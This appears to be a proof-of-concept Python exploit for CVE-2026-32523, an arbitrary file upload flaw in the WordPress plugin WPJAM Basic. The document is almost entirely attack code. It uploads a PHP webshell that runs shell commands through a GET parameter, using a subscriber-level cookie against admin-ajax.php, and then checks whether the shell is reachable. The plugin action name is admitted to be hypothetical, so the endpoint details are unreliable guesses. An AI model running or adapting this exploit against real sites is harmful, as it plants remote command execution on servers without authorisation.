CVE-2026-32523 WPJAM Basic任意文件上传漏洞

import requests # CVE-2026-32523 PoC Generator for WPJAM Basic def exploit(target_url, cookie): """ Attempts to upload a malicious PHP file via the vulnerable endpoint. """ upload_url = f"{target_url}/wp-admin/admin-ajax.php" # The malicious payload (PHP webshell) payload = "<?php system($_GET['cmd']); ?>" # Data to be sent in the POST request files = { 'file': ('exploit.php', payload, 'application/octet-stream') } data = { 'action': 'wpjam_upload_action', # Hypothetical action based on typical WP plugin structure 'nonce': 'valid_nonce_if_required' } headers = { 'User-Agent': 'Mozilla/5.0 (PoC-Scanner)' } try: response = requests.post(upload_url, files=files, data=data, cookies=cookie, headers=headers) if response.status_code == 200: print("[+] File upload request sent successfully.") print(f"[+] Response: {response.text[:200]}") # Check if the file is accessible check_url = f"{target_url}/wp-content/uploads/exploit.php" check = requests.get(check_url) if check.status_code == 200: print(f"[+] Exploit successful! Shell accessible at: {check_url}") else: print("[-] File uploaded but not accessible.") else: print(f"[-] Upload failed. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Cookie string for a low-privilege user (e.g., subscriber) user_cookie = {"wordpress_logged_in_12345": "user_session_token"} exploit(target, user_cookie)